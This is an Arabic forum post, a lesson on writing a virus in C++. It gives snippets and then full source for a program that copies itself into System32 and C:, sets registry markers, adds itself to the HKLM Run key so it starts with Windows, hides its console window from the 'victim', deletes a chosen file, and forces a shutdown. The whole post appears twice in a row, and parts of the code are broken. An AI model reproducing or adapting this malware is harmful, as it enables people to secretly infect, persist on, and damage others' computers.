A7meedye
14-08-2004, 12:49
هلااا بشباب العاصفة اليووم اقدم لكم الدرس الثالث وو الاخيير في صناعة الفيروساات بلغة C++وو أسسسف لانيي تأخرت فيي كتابة الدرس الثالث بسسبب انشغاالي :(
تكلمنا في الدرس الاول وو الثانيي عن كيفة عمل فايروس يقووم بنسخ نفسة في الرجستري وو كيفية نسخ الفايروس في اي مكاان في الوندوز وو حذف اي ملف ..
رابطة الدرس الثانيي
http://www.3asfh.net/vb/showthread.php?t=15017
في هذا الدرس سوف نضع كوود عمل shutdown حق الكمبيوتر وو اخفااء الفايروس (يعنيي عندما يفتح الضحية الفايروس سسوف يختفيي و لن يضهر الا في alt+ctrl+del ) وو نسخ الفايروس في startup لكي يعمل تلقائيا عند تشغييل الكمبيوتر..
نبدأ الدرس:
اول شيي نضع كوود الshutdown
system("shutdown -f");
كوود سهل مايبلها شييي :D
ثانيا كوود اخفاااء الفايرس
AllocConsole();
r = FindWindowA("ConsoleWindowClass",NULL);
ShowWindow (r,0);
وو يجب اضافة مكتبة اخرى
#include <mmsystem.h>
وو اضافة
#pragma comment(lib, "ws2_32.lib")
بعد
#include <mmsystem.h>
وو يجب كتابه
HWND r;
في main
و اخيرا كووود نسخ الفايرووس في startup
اول شيي يجب اضافة مكتبة اخرى
#include <stdio.h>
وو اضافة متغيراات في الmain
char directory[300];
HKEY ret;
وهذا كوود نسخ الفايروس الى startup
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&ret);
RegSetValueEx((HKEY)ret,"virus_name.exe",0,REG_SZ,(BYTE *)&directory,sizeof(directory));
انتهى الدرس ......
كووود الفايرووووس :
#include <windows.h>
#include <string.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
char windir[MAX_PATH];
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow);
short WormCopy(char SRCFileName[], char DSTFileName[])
{
FILE *SRC, *DST;
char Buffer[1024];
short Counter = 0;
short Status = 0;
SRC = fopen(SRCFileName, "rb");
if(SRC)
{
DST = fopen(DSTFileName, "wb");
if(DST)
{
while(! feof(SRC))
{
Counter = fread(Buffer, 1, 1024, SRC);
if(Counter)
fwrite(Buffer, 1, Counter, DST);
}
Status = 1;
}
}
fclose(SRC);
fclose(DST);
return Status;
}
void main(int argc, char **argv)
{
char pathname[256],directory[300];
HKEY hKey,ret;
HWND r;
GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);
strcat(windir, "\\System32\\viral.exe");
CopyFile(pathname,windir,0);
unsigned char reg[10] = "infected";
RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey);
RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg));
RegCloseKey(hKey);
FILE *retro;
char ProgName[100];
strcpy(ProgName, argv[0]);
WormCopy(ProgName, "c:\\virus_name.exe");
system("DEL c:\\file_name ");
system("shutdown -f");
AllocConsole();
r = FindWindowA("ConsoleWindowClass",NULL);
ShowWindow (r,0);
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&ret);
RegSetValueEx((HKEY)ret,"virus_name.exe",0,REG_SZ,(BYTE *)&directory,sizeof(directory));
}
و اخيراا انتهت سلسله صناعة الفيروساات بلغة C++ وو انشاااء الله الكل استفد من الدرووس وو أي سؤاال او ايي مشكلة انا في الخدمة ;)
وو الحييين صااار عندك فايروووس يقووم بنسخ نفسة في الرجستري و ويسخ نفسة في اي مكاان تحددة في الوندوز وو حذف اي ملف تحددة وو عمل shutdown حق الكمبيوتر وو اخفااء نفسة ووينسخ نفسة في startup لكي يعمل تلقائيا عند تشغييل الكمبيوتر..
كاتب الدرس:
a7meedye
تكلمنا في الدرس الاول وو الثانيي عن كيفة عمل فايروس يقووم بنسخ نفسة في الرجستري وو كيفية نسخ الفايروس في اي مكاان في الوندوز وو حذف اي ملف ..
رابطة الدرس الثانيي
http://www.3asfh.net/vb/showthread.php?t=15017
في هذا الدرس سوف نضع كوود عمل shutdown حق الكمبيوتر وو اخفااء الفايروس (يعنيي عندما يفتح الضحية الفايروس سسوف يختفيي و لن يضهر الا في alt+ctrl+del ) وو نسخ الفايروس في startup لكي يعمل تلقائيا عند تشغييل الكمبيوتر..
نبدأ الدرس:
اول شيي نضع كوود الshutdown
system("shutdown -f");
كوود سهل مايبلها شييي :D
ثانيا كوود اخفاااء الفايرس
AllocConsole();
r = FindWindowA("ConsoleWindowClass",NULL);
ShowWindow (r,0);
وو يجب اضافة مكتبة اخرى
#include <mmsystem.h>
وو اضافة
#pragma comment(lib, "ws2_32.lib")
بعد
#include <mmsystem.h>
وو يجب كتابه
HWND r;
في main
و اخيرا كووود نسخ الفايرووس في startup
اول شيي يجب اضافة مكتبة اخرى
#include <stdio.h>
وو اضافة متغيراات في الmain
char directory[300];
HKEY ret;
وهذا كوود نسخ الفايروس الى startup
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&ret);
RegSetValueEx((HKEY)ret,"virus_name.exe",0,REG_SZ,(BYTE *)&directory,sizeof(directory));
انتهى الدرس ......
كووود الفايرووووس :
#include <windows.h>
#include <string.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
char windir[MAX_PATH];
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow);
short WormCopy(char SRCFileName[], char DSTFileName[])
{
FILE *SRC, *DST;
char Buffer[1024];
short Counter = 0;
short Status = 0;
SRC = fopen(SRCFileName, "rb");
if(SRC)
{
DST = fopen(DSTFileName, "wb");
if(DST)
{
while(! feof(SRC))
{
Counter = fread(Buffer, 1, 1024, SRC);
if(Counter)
fwrite(Buffer, 1, Counter, DST);
}
Status = 1;
}
}
fclose(SRC);
fclose(DST);
return Status;
}
void main(int argc, char **argv)
{
char pathname[256],directory[300];
HKEY hKey,ret;
HWND r;
GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);
strcat(windir, "\\System32\\viral.exe");
CopyFile(pathname,windir,0);
unsigned char reg[10] = "infected";
RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey);
RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg));
RegCloseKey(hKey);
FILE *retro;
char ProgName[100];
strcpy(ProgName, argv[0]);
WormCopy(ProgName, "c:\\virus_name.exe");
system("DEL c:\\file_name ");
system("shutdown -f");
AllocConsole();
r = FindWindowA("ConsoleWindowClass",NULL);
ShowWindow (r,0);
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&ret);
RegSetValueEx((HKEY)ret,"virus_name.exe",0,REG_SZ,(BYTE *)&directory,sizeof(directory));
}
و اخيراا انتهت سلسله صناعة الفيروساات بلغة C++ وو انشاااء الله الكل استفد من الدرووس وو أي سؤاال او ايي مشكلة انا في الخدمة ;)
وو الحييين صااار عندك فايروووس يقووم بنسخ نفسة في الرجستري و ويسخ نفسة في اي مكاان تحددة في الوندوز وو حذف اي ملف تحددة وو عمل shutdown حق الكمبيوتر وو اخفااء نفسة ووينسخ نفسة في startup لكي يعمل تلقائيا عند تشغييل الكمبيوتر..
كاتب الدرس:
a7meedye